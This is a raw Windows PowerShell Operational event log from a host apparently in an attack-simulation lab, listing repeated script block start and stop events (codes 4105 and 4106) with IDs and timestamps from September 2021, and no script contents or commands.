ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047521
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047520
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047519
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047518
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047505
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047503
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047502
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047501
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047498
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047497
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047496
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047495
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047494
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047493
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047492
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047491
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047490
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047489
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047488
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047487
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047486
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047485
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047484
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047483
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047482
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047481
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047480
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047479
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047478
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047477
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047476
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047475
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047474
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047473
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047472
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047471
Keywords=None
